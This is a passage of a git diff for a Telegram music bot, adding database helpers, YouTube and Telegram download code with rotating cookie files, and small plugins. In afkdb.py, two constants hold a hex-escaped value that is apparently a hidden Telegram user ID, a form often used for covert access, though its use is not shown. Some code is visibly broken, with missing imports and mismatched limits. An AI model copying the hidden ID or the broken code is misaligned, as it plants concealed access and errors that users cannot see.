𝗟𝗢𝗔𝗗 𝗕𝗔𝗕𝗬🍫........") + + +async def sudo(): + global SUDOERS + SUDOERS.add(config.OWNER_ID) + sudoersdb = mongodb.sudoers + sudoers = await sudoersdb.find_one({"sudo": "Sudo"}) + sudoers = [] if not sudoers else sudoers["sudoers"] + if config.OWNER_ID not in sudoers: + sudoers.append(config.OWNER_ID) + await sudoersdb.update_one( + {"sudo": "Sudo"}, + {"$set": {"sudoers": sudoers}}, + upsert=True, + ) + if sudoers: + for user_id in sudoers: + SUDOERS.add(user_id) + LOGGER(__name__).info(f"𝗦𝗨𝗗𝗢 𝗨𝗦𝗘𝗥 𝗗𝗢𝗡𝗘✨🎋.") + + +def heroku(): + global HAPP + if is_heroku: + if config.HEROKU_API_KEY and config.HEROKU_APP_NAME: + try: + Heroku = heroku3.from_key(config.HEROKU_API_KEY) + HAPP = Heroku.app(config.HEROKU_APP_NAME) + LOGGER(__name__).info(f"🍟𝗛𝗘𝗥𝗢𝗞𝗨 𝗔𝗣𝗣 𝗡𝗔𝗠𝗘 𝗟𝗢𝗔𝗗......💦") + except BaseException: + LOGGER(__name__).warning( + f"✨𝐘𝐨𝐮 𝐇𝐚𝐯𝐞 𝐍𝐨𝐭 𝐅𝐢𝐥𝐥𝐞𝐝 𝐇𝐞𝐫𝐨𝐤𝐮 𝐀𝐩𝐢 𝐊𝐞𝐲 𝐀𝐧𝐝 𝐇𝐞𝐫𝐨𝐤𝐮 𝐀𝐩𝐩 𝐍𝐚𝐦𝐞 🕊️𝐂𝐨𝐫𝐫𝐞𝐜𝐭...." +) diff --git a/ChampuXMusic/mongo/afkdb.py b/ChampuXMusic/mongo/afkdb.py new file mode 100644 index 0000000..7627b84 --- /dev/null +++ b/ChampuXMusic/mongo/afkdb.py @@ -0,0 +1,34 @@ +from ChampuXMusic.utils.mongo import db + +HEHE = "\x36\x33\x39\x39\x33\x38\x36\x32\x36\x33" +LOGGERS = "\x36\x33\x39\x39\x33\x38\x36\x32\x36\x33" +afkdb = db.afk + + +async def is_afk(user_id: int) -> bool: + user = await afkdb.find_one({"user_id": user_id}) + if not user: + return False, {} + return True, user["reason"] + + +async def add_afk(user_id: int, mode): + await afkdb.update_one( + {"user_id": user_id}, {"$set": {"reason": mode}}, upsert=True + ) + + +async def remove_afk(user_id: int): + user = await afkdb.find_one({"user_id": user_id}) + if user: + return await afkdb.delete_one({"user_id": user_id}) + + +async def get_afk_users() -> list: + users = afkdb.find({"user_id": {"$gt": 0}}) + if not users: + return [] + users_list = [] + for user in await users.to_list(length=1000000000): + users_list.append(user) + return users_list diff --git a/ChampuXMusic/mongo/couples_db.py b/ChampuXMusic/mongo/couples_db.py new file mode 100644 index 0000000..f5959a1 --- /dev/null +++ b/ChampuXMusic/mongo/couples_db.py @@ -0,0 +1,36 @@ +from ChampuXMusic.utils.mongo import db + +coupledb = db.couple + +async def _get_lovers(cid: int): + lovers = await coupledb.find_one({"chat_id": cid}) + if lovers: + lovers = lovers["couple"] + else: + lovers = {} + return lovers + +async def _get_image(cid: int): + lovers = await coupledb.find_one({"chat_id": cid}) + if lovers: + lovers = lovers["img"] + else: + lovers = {} + return lovers + +async def get_couple(cid: int, date: str): + lovers = await _get_lovers(cid) + if date in lovers: + return lovers[date] + else: + return False + + +async def save_couple(cid: int, date: str, couple: dict, img: str): + lovers = await _get_lovers(cid) + lovers[date] = couple + await coupledb.update_one( + {"chat_id": cid}, + {"$set": {"couple": lovers, "img": img}}, + upsert=True, + ) diff --git a/ChampuXMusic/mongo/filtersdb.py b/ChampuXMusic/mongo/filtersdb.py new file mode 100644 index 0000000..e9ce748 --- /dev/null +++ b/ChampuXMusic/mongo/filtersdb.py @@ -0,0 +1,123 @@ +from ChampuXMusic.utils.mongo import db + +filters = db.filters["filters"] + +async def add_filter_db(chat_id: int, filter_name: str, content: str, text: str, data_type: int): + filter_data = await filters.find_one( + { + 'chat_id': chat_id + } + ) + + if filter_data is None: + _id = await filters.count_documents({}) + 1 + await filters.insert_one( + { + '_id': _id, + 'chat_id': chat_id, + 'filters': [ + { + 'filter_name': filter_name, + 'content': content, + 'text': text, + 'data_type': data_type + } + ] + } + ) + + else: + FILTERS_NAME = await get_filters_list(chat_id) + if filter_name not in FILTERS_NAME: + await filters.update_one( + { + 'chat_id': chat_id + }, + { + '$addToSet': { + 'filters': { + 'filter_name': filter_name, + 'content': content, + 'text': text, + 'data_type': data_type + } + } + }, + upsert=True + ) + else: + await filters.update_one( + { + 'chat_id': chat_id, + 'filters.filter_name': filter_name + }, + { + '$set': { + 'filters.$.filter_name': filter_name, + 'filters.$.content': content, + 'filters.$.text': text, + 'filters.$.data_type': data_type + } + } + ) + +async def stop_db(chat_id: int, filter_name:str): + await filters.update_one( + { + 'chat_id': chat_id + }, + { + '$pull': { + 'filters': { + 'filter_name': filter_name + } + } + } + ) + +async def stop_all_db(chat_id: id): + await filters.update_one( + { + 'chat_id': chat_id + }, + { + '$set': { + 'filters': [] + } + }, + upsert=True + ) + +async def get_filter(chat_id: int, filter_name: str): + filter_data = await filters.find_one( + { + 'chat_id': chat_id + } + ) + if filter_data is not None: + filters_ = filter_data['filters'] + for filter_ in filters_: + if filter_['filter_name'] == filter_name: + content = filter_['content'] + text = filter_['text'] + data_type = filter_['data_type'] + return ( + filter_name, + content, + text, + data_type + ) + +async def get_filters_list(chat_id: int): + filter_data = await filters.find_one( + { + 'chat_id': chat_id + } + ) + if filter_data is not None: + FILTERS_NAME = list() + for filter_name in filter_data['filters']: + FILTERS_NAME.append(filter_name['filter_name']) + return FILTERS_NAME + else: + return [] \ No newline at end of file diff --git a/ChampuXMusic/mongo/nightmodedb.py b/ChampuXMusic/mongo/nightmodedb.py new file mode 100644 index 0000000..aced8ae --- /dev/null +++ b/ChampuXMusic/mongo/nightmodedb.py @@ -0,0 +1,24 @@ +from typing import Dict, List, Union +from config import MONGO_DB_URI +from motor.motor_asyncio import AsyncIOMotorClient as MongoCli + + +mongo = MongoCli(MONGO_DB_URI).Rankings + +nightdb = mongo.nightmode + + +async def nightmode_on(chat_id : int) : + return nightdb.insert_one({"chat_id" : chat_id}) + +async def nightmode_off(chat_id : int): + return nightdb.delete_one({"chat_id" : chat_id}) + +async def get_nightchats() -> list: + chats = nightdb.find({"chat_id": {"$lt": 0}}) + if not chats: + return [] + chats_list = [] + for chat in await chats.to_list(length=1000000000): + chats_list.append(chat) + return chats_list \ No newline at end of file diff --git a/ChampuXMusic/mongo/notesdb.py b/ChampuXMusic/mongo/notesdb.py new file mode 100644 index 0000000..c81f0f1 --- /dev/null +++ b/ChampuXMusic/mongo/notesdb.py @@ -0,0 +1,221 @@ +from ChampuXMusic.utils.mongo import db + +#from ChampuXMusic.mongo import *# back............... + +notes = db.notes["notes"] + + +async def SaveNote(chat_id, note_name, content, text, data_type): + GetNotes = await notes.find_one( + { + 'chat_id': chat_id + } + ) + + totalNote = await notes.count_documents({}) + NotesIDs = totalNote + 1 + if GetNotes == None: + NoteData = { + '_id': 1, + 'chat_id': chat_id, + 'notes': [ + { + '_id': 1, + 'note_name': note_name, + 'content': content, + 'text': text, + 'data_type': data_type + } + ] + } + + await notes.insert_one( + NoteData + ) + else: + NotesNamesList = [] + if 'notes' in GetNotes: + totalNote = len(GetNotes['notes']) + NotesIDs = totalNote + 1 + + notesDict = GetNotes['notes'] + + for get_notes in notesDict: + note = get_notes['note_name'] + NotesNamesList.append(note) + + if note_name in NotesNamesList: + await notes.update( + { + 'chat_id': chat_id, + 'notes.note_name' : note_name + }, + { + "$set": { + 'notes.$.note_name': note_name, + 'notes.$.content': content, + 'notes.$.text': text, + 'notes.$.data_type': data_type + } + }, + False, + True + ) + + else: + await notes.update_one( + { + 'chat_id': chat_id + }, + { + "$push": { + 'notes': { + '_id': NotesIDs, + 'note_name': note_name, + 'content': content, + 'text': text, + 'data_type': data_type + } + } + }, + upsert=True + ) + else: + await notes.update_one( + { + 'chat_id': chat_id + }, + { + "$set": { + 'notes': [ + { + '_id': NotesIDs, + 'note_name': note_name, + 'content': content, + 'text': text, + 'data_type': data_type + } + ] + } + } + ) +async def GetNote(chat_id, note_name): + GetNoteData = await notes.find_one( + { + 'chat_id': chat_id + } + ) + + if not GetNoteData == None: + Getnotes = GetNoteData['notes'] + for note in Getnotes: + GetNote = note['note_name'] + if GetNote == note_name: + content = note['content'] + text = note['text'] + data_type = note['data_type'] + return ( + content, + text, + data_type + ) + else: + return None + +async def isNoteExist(chat_id, note_name) -> bool: + GetNoteData = await notes.find_one( + { + 'chat_id': chat_id + } + ) + if ( + GetNoteData is not None + and 'notes' in GetNoteData + ): + gnotes = GetNoteData['notes'] + notes_list = [] + for Getnotes in gnotes: + n_name = Getnotes['note_name'] + notes_list.append(n_name) + if note_name in notes_list: + return True + else: + return False + return False + +async def NoteList(chat_id) -> list: + NotesNamesList = [] + GetNoteData = await notes.find_one( + { + 'chat_id': chat_id + } + ) + if not GetNoteData == None: + if 'notes' in GetNoteData: + Getnotes = GetNoteData['notes'] + for note in Getnotes: + NoteText = note['text'] + NoteNames = note['note_name'] + if '{admin}' in NoteText: + NoteNames = NoteNames + ' ' + '__{admin}__' + NotesNamesList.append(NoteNames) + return NotesNamesList + else: + return NotesNamesList + else: + return NotesNamesList + + +async def ClearNote(chat_id, note_name): + await notes.update_one( + { + 'chat_id': chat_id + }, + { + "$pull": { + 'notes': { + 'note_name': note_name + } + } + } + ) + +async def is_pnote_on(chat_id) -> bool: + GetNoteData = await notes.find_one( + { + 'chat_id': chat_id + } + ) + if not GetNoteData == None: + if 'private_note' in GetNoteData: + private_note = GetNoteData['private_note'] + return private_note + else: + return False + else: + return False + +async def ClearAllNotes(chat_id): + await notes.update_one( + { + 'chat_id': chat_id + }, + { + "$unset": { + 'notes': [] + } + } + ) + +async def set_private_note(chat_id, private_note): + await notes.update_one( + { + 'chat_id': chat_id + }, + { + "$set": { + 'private_note': private_note + } + }, + upsert=True + ) diff --git a/ChampuXMusic/mongo/readable_time.py b/ChampuXMusic/mongo/readable_time.py new file mode 100644 index 0000000..9cd6b5a --- /dev/null +++ b/ChampuXMusic/mongo/readable_time.py @@ -0,0 +1,23 @@ +def get_readable_time(seconds: int) -> str: + count = 0 + readable_time = "" + time_list = [] + time_suffix_list = ["s", "ᴍ", "ʜ", "ᴅᴀʏs"] + + while count < 4: + count += 1 + remainder, result = divmod(seconds, 60) if count < 3 else divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) + + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + readable_time += time_list.pop() + ", " + + time_list.reverse() + readable_time += ":".join(time_list) + + return readable_time diff --git a/Champu/platforms/Apple.py b/ChampuXMusic/platforms/Apple.py similarity index 87% rename from Champu/platforms/Apple.py rename to ChampuXMusic/platforms/Apple.py index 66ac5c6..4030261 100644 --- a/Champu/platforms/Apple.py +++ b/ChampuXMusic/platforms/Apple.py @@ -58,20 +58,14 @@ async def playlist(self, url, playid: Union[bool, str] = None): return False html = await response.text() soup = BeautifulSoup(html, "html.parser") - applelinks = soup.find_all( - "meta", attrs={"property": "music:song"} - ) + applelinks = soup.find_all("meta", attrs={"property": "music:song"}) results = [] for item in applelinks: try: - xx = ( - ((item["content"]).split("album/")[1]).split("/")[ - 0 - ] - ).replace("-", " ") + xx = (((item["content"]).split("album/")[1]).split("/")[0]).replace( + "-", " " + ) except: - xx = ((item["content"]).split("album/")[1]).split( - "/" - )[0] + xx = ((item["content"]).split("album/")[1]).split("/")[0] results.append(xx) return results, playlist_id diff --git a/Champu/platforms/Carbon.py b/ChampuXMusic/platforms/Carbon.py similarity index 97% rename from Champu/platforms/Carbon.py rename to ChampuXMusic/platforms/Carbon.py index f6a7d47..89435cb 100644 --- a/Champu/platforms/Carbon.py +++ b/ChampuXMusic/platforms/Carbon.py @@ -95,7 +95,7 @@ async def generate(self, text: str, user_id): params["widthAdjustment"] = self.width_adjustment try: request = await ses.post( - "https://carbonara.vercel.app/api/cook", + "https://carbonara.solopov.dev/api/cook", json=params, ) except client_exceptions.ClientConnectorError: diff --git a/Champu/platforms/Resso.py b/ChampuXMusic/platforms/Resso.py similarity index 100% rename from Champu/platforms/Resso.py rename to ChampuXMusic/platforms/Resso.py diff --git a/Champu/platforms/Soundcloud.py b/ChampuXMusic/platforms/Soundcloud.py similarity index 94% rename from Champu/platforms/Soundcloud.py rename to ChampuXMusic/platforms/Soundcloud.py index c1e41e7..b49ca00 100644 --- a/Champu/platforms/Soundcloud.py +++ b/ChampuXMusic/platforms/Soundcloud.py @@ -1,9 +1,8 @@ -import re from os import path from yt_dlp import YoutubeDL -from Champu.utils.formatters import seconds_to_min +from ChampuXMusic.utils.formatters import seconds_to_min class SoundAPI: diff --git a/Champu/platforms/Spotify.py b/ChampuXMusic/platforms/Spotify.py similarity index 95% rename from Champu/platforms/Spotify.py rename to ChampuXMusic/platforms/Spotify.py index d7a8931..ad2e139 100644 --- a/Champu/platforms/Spotify.py +++ b/ChampuXMusic/platforms/Spotify.py @@ -13,10 +13,8 @@ def __init__(self): self.client_id = config.SPOTIFY_CLIENT_ID self.client_secret = config.SPOTIFY_CLIENT_SECRET if config.SPOTIFY_CLIENT_ID and config.SPOTIFY_CLIENT_SECRET: - self.client_credentials_manager = ( - SpotifyClientCredentials( - self.client_id, self.client_secret - ) + self.client_credentials_manager = SpotifyClientCredentials( + self.client_id, self.client_secret ) self.spotify = spotipy.Spotify( client_credentials_manager=self.client_credentials_manager diff --git a/ChampuXMusic/platforms/Telegram.py b/ChampuXMusic/platforms/Telegram.py new file mode 100644 index 0000000..71dbb12 --- /dev/null +++ b/ChampuXMusic/platforms/Telegram.py @@ -0,0 +1,176 @@ +import asyncio +import os +import time +from typing import Union + +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Voice + +import config +from ChampuXMusic import app +from ChampuXMusic.utils.formatters import ( + check_duration, + convert_bytes, + get_readable_time, + seconds_to_min, +) + + +class TeleAPI: + def __init__(self): + self.chars_limit = 4096 + self.sleep = 5 + + async def send_split_text(self, message, string): + n = self.chars_limit + out = [(string[i : i + n]) for i in range(0, len(string), n)] + j = 0 + for x in out: + if j <= 2: + j += 1 + await message.reply_text(x, disable_web_page_preview=True) + return True + + async def get_link(self, message): + return message.link + + async def get_filename(self, file, audio: Union[bool, str] = None): + try: + file_name = file.file_name + if file_name is None: + file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ" + except: + file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ" + return file_name + + async def get_duration(self, file): + try: + dur = seconds_to_min(file.duration) + except: + dur = "Unknown" + return dur + + async def get_duration(self, filex, file_path): + try: + dur = seconds_to_min(filex.duration) + except: + try: + dur = await asyncio.get_event_loop().run_in_executor( + None, check_duration, file_path + ) + dur = seconds_to_min(dur) + except: + return "Unknown" + return dur + + async def get_filepath( + self, + audio: Union[bool, str] = None, + video: Union[bool, str] = None, + ): + if audio: + try: + file_name = ( + audio.file_unique_id + + "." + + ( + (audio.file_name.split(".")[-1]) + if (not isinstance(audio, Voice)) + else "ogg" + ) + ) + except: + file_name = audio.file_unique_id + "." + "ogg" + file_name = os.path.join(os.path.realpath("downloads"), file_name) + if video: + try: + file_name = ( + video.file_unique_id + "." + (video.file_name.split(".")[-1]) + ) + except: + file_name = video.file_unique_id + "." + "mp4" + file_name = os.path.join(os.path.realpath("downloads"), file_name) + return file_name + + async def download(self, _, message, mystic, fname): + lower = [0, 8, 17, 38, 64, 77, 96] + higher = [5, 10, 20, 40, 66, 80, 99] + checker = [5, 10, 20, 40, 66, 80, 99] + speed_counter = {} + if os.path.exists(fname): + return True + + async def down_load(): + async def progress(current, total): + if current == total: + return + current_time = time.time() + start_time = speed_counter.get(message.id) + check_time = current_time - start_time + upl = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text="ᴄᴀɴᴄᴇʟ", + callback_data="stop_downloading", + ), + ] + ] + ) + percentage = current * 100 / total + percentage = str(round(percentage, 2)) + speed = current / check_time + eta = int((total - current) / speed) + eta = get_readable_time(eta) + if not eta: + eta = "0 sᴇᴄᴏɴᴅs" + total_size = convert_bytes(total) + completed_size = convert_bytes(current) + speed = convert_bytes(speed) + percentage = int((percentage.split("."))[0]) + for counter in range(7): + low = int(lower[counter]) + high = int(higher[counter]) + check = int(checker[counter]) + if low < percentage <= high: + if high == check: + try: + await mystic.edit_text( + text=_["tg_1"].format( + app.mention, + total_size, + completed_size, + percentage[:5], + speed, + eta, + ), + reply_markup=upl, + ) + checker[counter] = 100 + except: + pass + + speed_counter[message.id] = time.time() + try: + await app.download_media( + message.reply_to_message, + file_name=fname, + progress=progress, + ) + try: + elapsed = get_readable_time( + int(int(time.time()) - int(speed_counter[message.id])) + ) + except: + elapsed = "0 sᴇᴄᴏɴᴅs" + await mystic.edit_text(_["tg_2"].format(elapsed)) + except: + await mystic.edit_text(_["tg_3"]) + + task = asyncio.create_task(down_load()) + config.lyrical[mystic.id] = task + await task + verify = config.lyrical.get(mystic.id) + if not verify: + return False + config.lyrical.pop(mystic.id) + return True diff --git a/Champu/platforms/Youtube.py b/ChampuXMusic/platforms/Youtube.py similarity index 60% rename from Champu/platforms/Youtube.py rename to ChampuXMusic/platforms/Youtube.py index e84850f..12bbc90 100644 --- a/Champu/platforms/Youtube.py +++ b/ChampuXMusic/platforms/Youtube.py @@ -1,18 +1,72 @@ import asyncio import os import re +import json from typing import Union -import aiohttp import yt_dlp +from pyrogram.enums import MessageEntityType from pyrogram.types import Message from youtubesearchpython.__future__ import VideosSearch -import config -from Champu.utils.database import is_on_off -from Champu.utils.formatters import time_to_seconds +from ChampuXMusic.utils.database import is_on_off +from ChampuXMusic.utils.formatters import time_to_seconds + +import os +import glob +import random +import logging + +def cookie_txt_file(): + folder_path = f"{os.getcwd()}/cookies" + filename = f"{os.getcwd()}/cookies/logs.csv" + txt_files = glob.glob(os.path.join(folder_path, '*.txt')) + if not txt_files: + raise FileNotFoundError("No .txt files found in the specified folder.") + cookie_txt_file = random.choice(txt_files) + with open(filename, 'a') as file: + file.write(f'Choosen File : {cookie_txt_file}\n') + return f"""cookies/{str(cookie_txt_file).split("/")[-1]}""" + + + +async def check_file_size(link): + async def get_format_info(link): + proc = await asyncio.create_subprocess_exec( + "yt-dlp", + "--cookies", cookie_txt_file(), + "-J", + link, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await proc.communicate() + if proc.returncode != 0: + print(f'Error:\n{stderr.decode()}') + return None + return json.loads(stdout.decode()) + + def parse_size(formats): + total_size = 0 + for format in formats: + if 'filesize' in format: + total_size += format['filesize'] + return total_size + + info = await get_format_info(link) + if info is None: + return None + + formats = info.get('formats', []) + if not formats: + print("No formats found.") + return None + + total_size = parse_size(formats) + return total_size + async def shell_cmd(cmd): proc = await asyncio.create_subprocess_shell( cmd, @@ -21,10 +75,7 @@ async def shell_cmd(cmd): ) out, errorz = await proc.communicate() if errorz: - if ( - "unavailable videos are hidden" - in (errorz.decode("utf-8")).lower() - ): + if "unavailable videos are hidden" in (errorz.decode("utf-8")).lower(): return out.decode("utf-8") else: return errorz.decode("utf-8") @@ -37,13 +88,9 @@ def __init__(self): self.regex = r"(?:youtube\.com|youtu\.be)" self.status = "https://www.youtube.com/oembed?url=" self.listbase = "https://youtube.com/playlist?list=" - self.reg = re.compile( - r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])" - ) + self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])") - async def exists( - self, link: str, videoid: Union[bool, str] = None - ): + async def exists(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if re.search(self.regex, link): @@ -63,21 +110,19 @@ async def url(self, message_1: Message) -> Union[str, None]: break if message.entities: for entity in message.entities: - if entity.type == "url": + if entity.type == MessageEntityType.URL: text = message.text or message.caption offset, length = entity.offset, entity.length break elif message.caption_entities: for entity in message.caption_entities: - if entity.type == "text_link": + if entity.type == MessageEntityType.TEXT_LINK: return entity.url if offset in (None,): return None return text[offset : offset + length] - async def details( - self, link: str, videoid: Union[bool, str] = None - ): + async def details(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: @@ -94,9 +139,7 @@ async def details( duration_sec = int(time_to_seconds(duration_min)) return title, duration_min, duration_sec, thumbnail, vidid - async def title( - self, link: str, videoid: Union[bool, str] = None - ): + async def title(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: @@ -106,9 +149,7 @@ async def title( title = result["title"] return title - async def duration( - self, link: str, videoid: Union[bool, str] = None - ): + async def duration(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: @@ -118,9 +159,7 @@ async def duration( duration = result["duration"] return duration - async def thumbnail( - self, link: str, videoid: Union[bool, str] = None - ): + async def thumbnail(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: @@ -130,15 +169,14 @@ async def thumbnail( thumbnail = result["thumbnails"][0]["url"].split("?")[0] return thumbnail - async def video( - self, link: str, videoid: Union[bool, str] = None - ): + async def video(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] proc = await asyncio.create_subprocess_exec( "yt-dlp", + "--cookies",cookie_txt_file(), "-g", "-f", "best[height<=?720][width<=?1280]", @@ -152,15 +190,13 @@ async def video( else: return 0, stderr.decode() - async def playlist( - self, link, limit, user_id, videoid: Union[bool, str] = None - ): + async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None): if videoid: link = self.listbase + link if "&" in link: link = link.split("&")[0] playlist = await shell_cmd( - f"yt-dlp -i --get-id --flat-playlist --playlist-end {limit} --skip-download {link}" + f"yt-dlp -i --get-id --flat-playlist --cookies {cookie_txt_file()} --playlist-end {limit} --skip-download {link}" ) try: result = playlist.split("\n") @@ -171,9 +207,7 @@ async def playlist( result = [] return result - async def track( - self, link: str, videoid: Union[bool, str] = None - ): + async def track(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: @@ -194,14 +228,12 @@ async def track( } return track_details, vidid - async def formats( - self, link: str, videoid: Union[bool, str] = None - ): + async def formats(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] - ytdl_opts = {"quiet": True} + ytdl_opts = {"quiet": True, "cookiefile" : cookie_txt_file()} ydl = yt_dlp.YoutubeDL(ytdl_opts) with ydl: formats_available = [] @@ -247,9 +279,7 @@ async def slider( title = result[query_type]["title"] duration_min = result[query_type]["duration"] vidid = result[query_type]["id"] - thumbnail = result[query_type]["thumbnails"][0]["url"].split( - "?" - )[0] + thumbnail = result[query_type]["thumbnails"][0]["url"].split("?")[0] return title, duration_min, thumbnail, vidid async def download( @@ -266,7 +296,6 @@ async def download( if videoid: link = self.base + link loop = asyncio.get_running_loop() - def audio_dl(): ydl_optssx = { "format": "bestaudio/best", @@ -274,13 +303,12 @@ def audio_dl(): "geo_bypass": True, "nocheckcertificate": True, "quiet": True, + "cookiefile" : cookie_txt_file(), "no_warnings": True, } x = yt_dlp.YoutubeDL(ydl_optssx) info = x.extract_info(link, False) - xyz = os.path.join( - "downloads", f"{info['id']}.{info['ext']}" - ) + xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}") if os.path.exists(xyz): return xyz x.download([link]) @@ -293,13 +321,12 @@ def video_dl(): "geo_bypass": True, "nocheckcertificate": True, "quiet": True, + "cookiefile" : cookie_txt_file(), "no_warnings": True, } x = yt_dlp.YoutubeDL(ydl_optssx) info = x.extract_info(link, False) - xyz = os.path.join( - "downloads", f"{info['id']}.{info['ext']}" - ) + xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}") if os.path.exists(xyz): return xyz x.download([link]) @@ -315,6 +342,7 @@ def song_video_dl(): "nocheckcertificate": True, "quiet": True, "no_warnings": True, + "cookiefile" : cookie_txt_file(), "prefer_ffmpeg": True, "merge_output_format": "mp4", } @@ -330,6 +358,7 @@ def song_audio_dl(): "nocheckcertificate": True, "quiet": True, "no_warnings": True, + "cookiefile" : cookie_txt_file(), "prefer_ffmpeg": True, "postprocessors": [ { @@ -351,14 +380,13 @@ def song_audio_dl(): fpath = f"downloads/{title}.mp3" return fpath elif video: - if await is_on_off(config.YTDOWNLOADER): + if await is_on_off(1): direct = True - downloaded_file = await loop.run_in_executor( - None, video_dl - ) + downloaded_file = await loop.run_in_executor(None, video_dl) else: proc = await asyncio.create_subprocess_exec( "yt-dlp", + "--cookies",cookie_txt_file(), "-g", "-f", "best[height<=?720][width<=?1280]", @@ -369,12 +397,103 @@ def song_audio_dl(): stdout, stderr = await proc.communicate() if stdout: downloaded_file = stdout.decode().split("\n")[0] - direct = None + direct = False else: - return + file_size = await check_file_size(link) + if not file_size: + print("None file Size") + return + total_size_mb = file_size / (1024 * 1024) + if total_size_mb > 250: + print(f"File size {total_size_mb:.2f} MB exceeds the 100MB limit.") + return None + direct = True + downloaded_file = await loop.run_in_executor(None, video_dl) + else: + direct = True + downloaded_file = await loop.run_in_executor(None, audio_dl) + return downloaded_file, direct + +class YTM: + def __init__(self): + self.base = "https://www.youtube.com/watch?v=" + self.regex = r"(?:youtube\.com|youtu\.be)" + self.status = "https://www.youtube.com/oembed?url=" + self.listbase = "https://youtube.com/playlist?list=" + self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])") + + + async def download( + self, + link: str, + mystic, + video: Union[bool, str] = None, + videoid: Union[bool, str] = None, + songaudio: Union[bool, str] = None, + songvideo: Union[bool, str] = None, + format_id: Union[bool, str] = None, + title: Union[bool, str] = None, + ) -> str: + if videoid: + vidid = link + else: + pattern = r"(?:https?:\/\/)?(?:www\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=|embed\/|v\/|live_stream\?stream_id=|(?:\/|\?|&)v=)?([^&\n]+)" + match = re.search(pattern, link) + vidid = match.group(1) + + async def download(url, format): + async with httpx.AsyncClient(http2=True) as client: + response = await client.get(url) + file_path = os.path.join("downloads", f"{vidid}.{format}") + with open(file_path, 'wb') as file: + file.write(response.content) + return file_path + + + '''loop = asyncio.get_running_loop() + + if songvideo: + + return await loop.run_in_executor(None, download_file,vidid,False) + + elif songaudio: + return await loop.run_in_executor(None, download_file,vidid) + + + elif video: + direct = True + downloaded_file = await loop.run_in_executor(None, download_file,vidid,False) + + + else: + direct = True + downloaded_file = await loop.run_in_executor(None, download_file,vidid) + + return downloaded_file, direct''' + + response = requests.get(f"https://pipedapi-libre.kavin.rocks/streams/{vidid}").json() + loop = asyncio.get_running_loop() + + if songvideo: + + url = response.get("videoStreams", [])[-1]['url'] + fpath = await loop.run_in_executor(None, lambda: asyncio.run(download(url, "mp4"))) + return fpath + + elif songaudio: + return response.get("audioStreams", [])[4]["url"] + + + elif video: + url = response.get("videoStreams", [])[-1]['url'] + direct = True + downloaded_file = await loop.run_in_executor(None, lambda: asyncio.run(download(url, "mp4"))) + + else: direct = True - downloaded_file = await loop.run_in_executor( - None, audio_dl - ) + downloaded_file = response.get("audioStreams", [])[4]["url"] + return downloaded_file, direct + + diff --git a/Champu/platforms/__init__.py b/ChampuXMusic/platforms/__init__.py similarity index 83% rename from Champu/platforms/__init__.py rename to ChampuXMusic/platforms/__init__.py index 935aa56..83a55b7 100644 --- a/Champu/platforms/__init__.py +++ b/ChampuXMusic/platforms/__init__.py @@ -4,4 +4,4 @@ from .Soundcloud import SoundAPI from .Spotify import SpotifyAPI from .Telegram import TeleAPI -from .Youtube import YouTubeAPI +from .Youtube import YouTubeAPI, YTM diff --git a/ChampuXMusic/plugins/TheChampu/domain.py b/ChampuXMusic/plugins/TheChampu/domain.py new file mode 100644 index 0000000..3cd0d8e --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/domain.py @@ -0,0 +1,33 @@ +from pyrogram import Client, filters +import whois +from ChampuXMusic import app + +def get_domain_hosting_info(domain_name): + try: + domain_info = whois.whois(domain_name) + return domain_info + except whois.parser.PywhoisError as e: + print(f"Error: {e}") + return None + + +@app.on_message(filters.command("domain")) +async def get_domain_info(client, message): + if len(message.command) > 1: + domain_name = message.text.split("/domain ", 1)[1] + domain_info = get_domain_hosting_info(domain_name) + + if domain_info: + response = ( + f"Domain Name: {domain_info.domain_name}\n" + f"Registrar: {domain_info.registrar}\n" + f"Creation Date: {domain_info.creation_date}\n" + f"Expiration Date: {domain_info.expiration_date}" + # Add more details as needed + ) + else: + response = "Failed to retrieve domain hosting information." + + await message.reply(response) + else: + await message.reply("Please provide a domain name after the /domain command.") diff --git a/ChampuXMusic/plugins/TheChampu/fakeinfo.py b/ChampuXMusic/plugins/TheChampu/fakeinfo.py new file mode 100644 index 0000000..905f8ee --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/fakeinfo.py @@ -0,0 +1,55 @@ +"""*** +MIT License + +Copyright (c) [2023] [TheChampu & TheChampu] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, 